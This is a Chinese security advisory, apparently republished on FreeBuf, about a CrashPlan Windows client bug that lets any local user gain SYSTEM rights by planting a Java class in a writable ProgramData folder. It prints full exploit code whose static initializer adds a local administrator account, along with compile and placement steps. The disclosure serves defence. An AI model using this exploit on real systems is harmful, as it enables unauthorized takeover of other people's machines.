Crashplan Windows客户端本地提权漏洞

2018-03-14 144295人围观 ,发现 1 个不明物体 资讯

本文是关于CrashPlan Windows客户端4.8.2.4版本,存在本地提权漏洞的相关通报及技术分析。该漏洞可被本地任意用户所滥用,并获取对操作系统的全面控制权限。当前,该漏洞已在完全修复的英文版Windows 7 x64上进行了验证。

根本问题在于Windows服务“CrashPlan备份服务”从不安全的文件系统位置C:\ProgramData\CrashPlan中加载和执行文件。

1Screen-Shot-2017-05-22-at-09.46.00.png

其中,Java Class文件被搜索并最终从那里被加载。这会导致CLASS side-loading漏洞。

2Screen-Shot-2017-05-22-at-09.31.47.png

有关此文件夹的特殊情况是默认文件系统ACL,它允许任意本地用户追加新的文件。

3Screen-Shot-2017-05-22-at-09.43.23.png

因此,可以删除恶意文件。为了利用它,我构建了以下Java类

package org.slf4j.ext;

import java.io.Serializable;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.beans.ExceptionListener;

/**
 * Base class for Event Data. Event Data contains data to be logged about an
 * event. Users may extend this class for each EventType they want to log.
 * 
 * @author Ralph Goers
 */
public class EventData implements Serializable {

  static
    {
    try {
    		Runtime rt = Runtime.getRuntime();
      Process pr = rt.exec("cmd.exe /C \"net user attacker Batman42 /add && net localgroup Administrators attacker /add\"");
    } catch (Exception e) {
            e.printStackTrace();
        }
    }

    /**
     * Default Constructor
     */
    public EventData() {
    }
}

要注入自己的命令,我们利用Java静态初始化程序。这些在JVM加载类后会被立即执行。编译它只需使用javac:

javac EventData.java

最后,将编译的Java类文件放入待创建的文件夹C:\ProgramData\CrashPlan\lang\org\slf4j\ext中

4Screen-Shot-2017-05-22-at-10.34.22.png

系统重启后,此Java类将被加载,我们的代码将以SYSTEM权限被执行。在这个例子中,攻击者在操作系统添加了一个本地管理员账户。

5Screen-Shot-2017-05-22-at-10.37.23.png

修复建议

尽快将漏洞版本升级为最新版。

Timeline

2017.5.18:漏洞确认

2017.5.22:记录并通知厂商

2017.5.25:厂商确认漏洞并紧急修复

2017.6.13:修复版发布。并发布了相关说明

2018.2.15:公开披露

*参考来源:bogner,FB小编 secist 编译,转载请注明来自FreeBuf.COM

发表评论

已有 1 条评论

取消
Loading...
css.php